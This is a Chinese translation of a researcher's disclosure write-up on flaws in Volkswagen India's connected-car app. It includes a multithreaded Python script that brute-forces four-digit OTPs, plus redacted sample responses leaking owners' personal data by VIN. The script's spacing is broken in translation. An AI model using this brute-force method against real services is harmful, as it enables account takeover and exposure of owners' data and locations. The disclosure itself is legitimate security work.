购买二手车看似简单——付钱、拿钥匙、播放你最喜欢的歌单,然后开车走人。然而,在这个万物互联的时代,“所有权”的意义远不止驾驶座。
2024年,我买了一辆二手车。作为一个科技迷,我迫不及待地想探索它的互联功能。车停好后,我立即在手机上安装了“我的大众”(ŠKODA Auto Volkswagen India Pvt Ltd)应用程序。设置过程中,它要求输入车辆识别号码(VIN)——很简单,就在挡风玻璃上。然后,它要求输入一个四位数的一次性密码(OTP)——我以为获取这个密码应该很容易。结果并非如此。
当挫折激发好奇心
OTP 被发送到了前车主的手机上。我打电话给汽车经销商,询问前车主的联系方式。虽然他提供了他们的电话号码,但我还是无法通过电话联系到他们。我发了一条短信,等了一个小时,却没有收到任何回复。
迫不及待地想要尝试一下这款应用,我尝试输入一些随机代码,看看能否成功。但什么也没成功。
即使我尝试了大约 10 到 15 次,应用程序也没有阻止我继续尝试。这激起了我的直觉:如果我暴力破解所有 10,000 种组合会怎么样?它会阻止我吗?
只有一种方法可以找到答案。
发现过程(有趣的技术部分)
距离我上次使用值得信赖的旧款Burp Suite已经有一段时间了。
配置我的 iPhone 的 Wi-Fi 代理并安装 Burp 的 CA 证书后,我使用随机 OTP 触发了一个请求,以查看它是什么样子(查看此处以获取有关如何自行操作的完整指南)。
很快,我就能检查该应用程序通过互联网发送的所有请求了。在筛选这些请求寻找我的 OTP 时,我发现了其他几个有趣的 API 调用,我将在下面讨论。
一旦我识别了请求,我就会尝试强制破解 OTP 字段,但 Burp 社区版本的速度太慢了,让我很不满意。
我编写了一个 Python 脚本,
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
# API endpoint
url = <REDACTED>
# Headers for the request
headers = {
"Host": <REDACTED>,
"Accept": "*/*",
"Content-Type": "application/json",
"Authorization": <REDACTED>
}
# Data template
data_template = {
"brand": "VW",
"installationID": <REDACTED>,
"userID": <REDACTED>,
"vehicleID": <REDACTED>,
"otp": "5555"# OTP placeholder
}
# Function to send a single request
defsend_request(otp):
otp_str = f"{otp:04}"# Format OTP as 4 digits
data = data_template.copy()
data["otp"] = otp_str
try:
response = requests.post(url, json=data, headers=headers)
result = f"OTP: {otp_str} | Response Code: {response.status_code} | Body: {response.text}"
except requests.exceptions.RequestException as e:
result = f"OTP: {otp_str} | Error: {e}"
return result
# Concurrent execution
defmain():
max_workers = 100# Number of concurrent threads
with ThreadPoolExecutor(max_workers=max_workers) as executor, open("responses.txt", "w") as file:
# Submit tasks for each OTP
futures = {executor.submit(send_request, otp): otp for otp inrange(10000)}
for future in as_completed(futures):
result = future.result()
# Log to console for monitoring
print(result)
# Write result to file
file.write(result + "n")
if __name__ == "__main__":
main()
几秒钟之内,脚本就命中了
几秒钟之内,脚本就命中了有效的 OTP,应用程序最终列出了我的车,
我终于成功访问了我的车!但这不禁让我怀疑,这个应用程序可能还存在哪些安全漏洞?我回到 Burp,检查了各种 API 调用,发现了几个严重的问题:
漏洞1:内部凭证以明文形式泄露
API 端点以明文形式公开各种内部服务的密码、令牌和用户名,其中包括内部应用程序、支付处理详细信息,甚至销售人员等 CRM 工具。
漏洞二:通过车辆识别码 (VIN) 泄露车主个人信息
另一个 API 端点仅使用 VIN 号码即可显示汽车购买的所有服务和维护包。
每个服务包条目都包含大量客户信息,包括姓名、电话号码、邮政地址、电子邮件地址、汽车详细信息(型号、颜色、注册号、底盘号、发动机号)、有效服务合同、购买日期和付款金额等。
显示可通过此端点访问的数据的示例条目:
{
"old":{
"VALID_CONTRACTS_AND_INTREM_CONTRACTS_VW":{
"CONTRACT_ID": <REDACTED>,
"PRODUCT_NAME": <REDACTED>,
"PRODUCT_DESC": <REDACTED>,
"PAYMENT_STATUS":null,
"PRODUCT_ID": <REDACTED>,
"MST_VAS_TYPE_ID": <REDACTED>,
"PLAN_ID": <REDACTED>,
"INVOICE_NUMBER": <REDACTED>,
"DEALER_ID": <REDACTED>,
"DATE_OF_SALE": <REDACTED>,
"SELLER_ID":null,
"SELLER_TYPE": <REDACTED>,
"SOLD_BY":null,
"SOLD_TYPE": <REDACTED>,
"VALID_FROM_DATE": <REDACTED>,
"VALID_TILL_DATE": <REDACTED>,
"VALID_TILL_DISTANCE":null,
"IS_OWNERSHIP_CHANGED":null,
"STATUS": <REDACTED>,
"GENERAL_COMMENTS":null,
"IS_SHORTCLOSED":null,
"SHORTCLOSED_ON":null,
"SHORTCLOSED_COMMENTS":null,
"VIN": <REDACTED>,
"ENGINE_NUMBER": <REDACTED>,
"CHASSIS_NUMBER": <REDACTED>,
"REGD_NUMBER": <REDACTED>,
"ORDER_FROM":null,
"CURRENT_KM":null,
"MODEL": <REDACTED>,
"VARIANT": <REDACTED>,
"COLOR":null,
"SHADE":null,
"PUR_CITY":null,
"REGD_CITY":null,
"REGD_OWNER": <REDACTED>,
"USER_NAME":null,
"MOBILE": <REDACTED>,
"FAX":null,
"PHONE":null,
"EMAIL": <REDACTED>,
"ADDRESS_LINE1": <REDACTED>,
"ADDRESS_LINE2":null,
"CITY": <REDACTED>,
"PINCODE": <REDACTED>,
"CREATED_ON": <REDACTED>,
"CREATED_BY": <REDACTED>,
"MODIFIED_ON": <REDACTED>,
"MODIFIED_BY": <REDACTED>,
"PARTS_MRP": <REDACTED>,
"LABOR_COST": <REDACTED>,
"SWACH_BHARAT_CESS":null,
"KRISHI_KALYAN_CESS":null,
"SERVICETAX":null,
"SWACH_BHARAT_CESS_PERCENTAGE":null,
"KRISHI_KALYAN_CESS_PERCENTAGE":null,
"SERVICETAX_PERCENTAGE":null,
"CUSTOMER_GSTIN":null,
"CUSTOMER_GSTIN_AVAILABLE":null,
"SGST": <REDACTED>,
"IGST": <REDACTED>,
"CGST": <REDACTED>,
"CESS": <REDACTED>,
"GSTIN":null,
"SGST_PERCENTAGE": <REDACTED>,
"CGST_PERCENTAGE": <REDACTED>,
"IGST_PERCENTAGE": <REDACTED>,
"CESS_PERCENTAGE": <REDACTED>,
"STATE_NUM": <REDACTED>,
"RELATED_CONTRACT_ID": <REDACTED>,
"FUEL_TYPE": <REDACTED>,
"ODOMETER_READING": <REDACTED>,
"CONTRACT_STATUS": <REDACTED>,
"CERTIFICATE_NUMBER":null,
"MODEL_CODE":null,
"SCORE":null,
"UPLOAD_FILES":null,
"CREDIT_INVOICE_NUMBER":null,
"CREDIT_CREATED_ON":null,
"MODEL_YEAR": <REDACTED>,
"BRAND": <REDACTED>,
"EW_NUMBER":null,
"TYPE_OF_CONTRACT": <REDACTED>,
"COST_BEFORE_DEALER_DISCOUNT":null,
"DEALER_DISCOUNT_TYPE":null,
"DEALER_DISCOUNT_VALUE":null,
"COST_AFTER_DEALER_DISCOUNT":null,
"IRN_NUMBER":null,
"QR_CODE":null,
"IS_IRN_CANCELLED":null,
"DISS_K_QUERY_NO":null,
"RO_NUMBER":null,
"DIAGNOSTIC_PROTOCOL_ID":null,
"DAN_NUMBER":null,
"DAN_DATE":null,
"CARPORT_FILE_GEN": <REDACTED>,
"MODE_OF_PAYMENT":null,
"PRICE":"0.00"
}
}
}
漏洞3:可通过VIN访问车辆服务历史记录
另一个端点公开了任何车辆在服务中心的所有访问期间的服务历史记录和所做工作的详细信息,同样,只需使用 VIN 号码即可访问。
每次访问车间都有一个条目,其中包括所执行的工作的详细信息、客户的个人信息,甚至每次访问的客户调查结果!
显示可通过此端点访问的数据的示例条目:
{
“属性” :{
“类型” : <REDACTED> ,
“url” : <REDACTED>
} ,
“Id” : <REDACTED> ,
“CreatedDate” : <REDACTED> ,
“VW_VIN__c” : <REDACTED> ,
“VW_Registration_No__c” : <REDACTED> ,
“RO_Closed_Date__c” : <REDACTED> ,
“RO_Type__c” : <REDACTED> ,
“Delivery_Date_Nadcon__c” : <REDACTED> ,
“Mileage_Out__c” :27670 ,
“Service_Dealer__c” : <REDACTED> ,
“Customer_Voice__c” : <REDACTED> ,
“Item_Amount__c” :9898.32 ,
“Labor_Amount__c” :3812.66 ,
“Amount__c” :13710.98 ,
“Selling_Dealer_Code__c” : <REDACTED> ,
“Post_Service_feedback_for_VW_HQ__c” :false,
“VW_Brand__c” : <REDACTED> ,
“VW_RO_Number__c” : <REDACTED> ,
“Repair_Order__c” : <REDACTED> ,
“SA__c” : <REDACTED> ,
“RecordTypeId” : <REDACTED> ,
“Service_Dealer__r” :{
“attributes” :{
“type” : <REDACTED> ,
“url” : <REDACTED>
} ,
“Id” : <REDACTED> ,
“Name” : <REDACTED>
} ,
“Repair_Order__r” :{
“属性” :{
“类型” : <REDACTED> ,
“url” : <REDACTED>
} ,
“Id” : <REDACTED> ,
“City__c” : <REDACTED> 、
“Discount__c” : <REDACTED> 、
“Discount_Amount__c” : <REDACTED> 、
“Pincode__c” : <REDACTED> 、
“State__c” : <REDACTED> 、
“Total_GST__c” : <REDACTED> ,
“address__c” : <REDACTED>
}
}
] ,
“Overall_customer_satisfaction_score” : <REDACTED> ,
“Message” :null,
“Dealer_PSF_Question_rated_less_than_4_star” :{
“您是否需要再次访问车间,因为本次访问中的工作不正确和/或不完整。” :否,
“您上次来维修厂是因为之前一次来访时做了不正确的工作吗?” :“否”
} ,
“customerMasterData” :{
“attributes” :{
“type” : <REDACTED> ,
“url” : <REDACTED>
} ,
“Id” : <REDACTED> ,
“VW_CustomerName__c” : <REDACTED> ,
“VW_Primary_Email_ID__c” : <REDACTED> ,
“VW_Address_Line_1__c” : <REDACTED> ,
“Registered_Owner_Address__c” : <REDACTED> ,
“VW_Active__c” :true,
“VW_DOB__c” : <REDACTED> ,
“VW_Permanent_Mobile_Number__c” : <REDACTED>
}
其他 API 端点泄露了车辆远程信息处理数据,在某些情况下甚至泄露了“学历”和“驾驶执照”号码。这表明客户数据泄露的严重程度。
来自以下某个端点的示例数据:
{
"isSuccessful":true,
"messagecode":200,
"message":"Success",
"userInfo":{
"userID": <REDACTED>,
"name": <REDACTED>,
"primaryMailID": <REDACTED>,
"secondaryMailID": <REDACTED>,
"primaryContact": <REDACTED>,
"secondaryContact": <REDACTED>,
"emergencyContact": <REDACTED>,
"familyType": <REDACTED>,
"dob": <REDACTED>,
"educationQualification": <REDACTED>,
"communicationAddress": <REDACTED>,
"otherCarDetail": <REDACTED>,
"drivingLicence": <REDACTED>,
"preferCommunicationModel": <REDACTED>
},
"loginDetails":{
"loginVia":"Email",
"otpVerifiedStatus":true
},
"notificationSettings":{
"brandVoiceAlert":false,
"serviceDueVoiceAlert":false,
"insuranceVoiceAlert":false,
"pucVoiceAlert":false,
"brandAlert":false,
"serviceDueAlert":false,
"insuranceAlert":false,
"pucAlert":false
}
用简单的英语来说,
任何人都可以通过该应用程序添加您的车辆并获取该车辆的所有可用信息和控制权。
其中包括车辆位置、发动机健康状况、燃油统计、轮胎压力、地理围栏控制等。
此外,您的所有个人信息,如家庭住址、电话号码、电子邮件、驾驶执照,甚至服务历史、投诉和汽车问题都将被获取。
这为什么重要?
- 想象一下,如果跟踪者或犯罪分子掌握了这些数据,他们就能轻而易举地确定你的实时位置、家庭住址、常去的地方、电话号码、电子邮件地址等等。
- 那么骗子怎么办?他们可能会假装是经销商或保险公司的人员,并利用这些数据让自己看起来非常有说服力。
- 那么黑客呢?好吧,你的所有个人信息都可能被放到深网出售,更糟的是,他们将来甚至可能访问你的汽车系统。
所有这些都是通过利用任何人都可以通过汽车挡风玻璃快速查看到的信息来实现的!
当我联系大众汽车时发生了什么?剧透预警:这需要耐心、保密协议,以及比我愿意承认的更多的咖啡。
报告与披露之旅
我于 2024 年 11 月 23 日首次向大众安全团队报告了该漏洞,包括测试时收集的所有证据。
我花了一些时间才找到正确的安全披露联系人。最终,我在他们的 security.txt 文件中找到了它:https ://www.volkswagen.de/.well-known/security.txt —[email protected] 。
大众汽车团队迅速做出回应,于 2024 年 11 月 27 日(即我发送第一封电子邮件的四天后)发送了确认信息。
在接下来的三个月里,我们交换了几封后续电子邮件,大众汽车的安全团队在整个过程中保持了高度响应。
到目前为止,从技术角度来看更新非常有限,我不确定修复这些问题延迟的确切原因。
最后,在 2025 年 4 月 3 日,该团队提出了一份保密协议,允许他们分享技术细节和内部补救计划。
2025 年 5 月 6 日,我与大众汽车的所有利益相关者会面讨论解决方案,并确认漏洞已得到修补。
更近
虽然我没有获得任何赏金,但我确实得到了一些可以说更令人满意的东西,那就是有机会帮助让真正的产品变得更安全一些。
如果您是安全研究员、好奇的开发者,或者只是喜欢拆解东西(从数字角度来说)的人,请不要低估您在日常使用的技术中可能发现的漏洞。只需确保正确报告漏洞,并保持耐心即可。
rust语言全栈开发视频教程-第一季(2025最新)
详细目录
mac/ios安全视频
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
windows恶意软件开发与对抗视频教程
-
原文始发于微信公众号(安全狗的自我修养):入侵我的车,甚至你的车——大众汽车应用程序存在安全漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论